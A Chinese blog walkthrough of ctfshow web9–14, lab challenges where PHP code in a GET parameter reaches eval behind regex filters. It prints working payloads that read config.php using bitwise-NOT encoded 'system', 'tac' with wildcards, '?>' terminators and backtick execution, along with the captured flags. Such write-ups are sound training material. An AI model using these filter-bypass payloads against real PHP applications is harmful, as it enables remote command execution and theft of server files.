ctfshow萌新计划web9-14(正则匹配绕过)

目录

web9

web10

web11

web12

web13

web14


web9

审一下代码,需要匹配到system|exec|highlight才会执行eval函数

先看一下当前目录下有什么

payload:?c=system('ls');

index.php是首页,我们看看config.php

payload:?c=system('cat config.php');

没有回显,看一下源码,找到flag

ctfshow{8e148a24-0ac7-4280-8bfe-f4fd4560112b}

web10

这次if语句里加了个非,即过滤掉了system|exec|highlight

用之前讲过的取反绕过,可以参考 http://t.csdnimg.cn/1p3dy

即对我们想要执行的代码进行取反,url编码,再取反

题目源代码里也有提示,flag在config.php里面

代码很简单我们直接使用在线编译工具生成payload

php 复制代码
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat config.php');
?>

构造payload:?c=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%9C%90%91%99%96%98%D1%8F%97%8F);

传入之后查看源代码

ctfshow{826e3a2b-decb-42d0-ae45-dced3337b685}

web11

才发现上一道题其实只需要对system取反绕过即可,这里才是过滤掉了cat

继续使用上一道题的payload:

或者只对system取反绕过,cat用tac代替

tac命令:反向显示文件内容,即最先显示的是最后一行,倒数第二行,倒数第三行,以此类推到最后显示原本文件的第一行内容。

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac config.php');

ctfshow{eef3eb10-069e-4c10-83c3-facc913d4dae}

web12

这里把文件名config,php也过滤了

可以使用通配符 * 或者 ? 进行模糊查询

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*');

或者:?c=(~%8C%86%8C%8B%9A%92)('tac ???fi??p??');

随便怎么敲都行

ctfshow{523f3e7f-264f-438c-a355-aafb71807094}

web13

这里把;也过滤了

使用 ?>代替

构造payload:?c=(~%8C%86%8C%8B%9A%92)('tac c*')?>

ctfshow{660772e4-5170-4117-98ad-43611f2af520}

web14

过滤了括号,使用反引号``代替

system用echo替换,可以参考我前面的博客http://t.csdnimg.cn/M7VNu

构造payload: ?c=echo`tac c*`?>

ctfshow{2ebfa3da-656e-42e2-b3f1-0ecd342ec6b7}

相关推荐
JaguarJack20 小时前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo20 小时前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack1 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
雨中飘荡的记忆2 天前
正则表达式入门到实战
正则表达式
ServBay2 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954483 天前
CTF 伪协议
php
BingoGo5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack5 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
BingoGo6 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack6 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端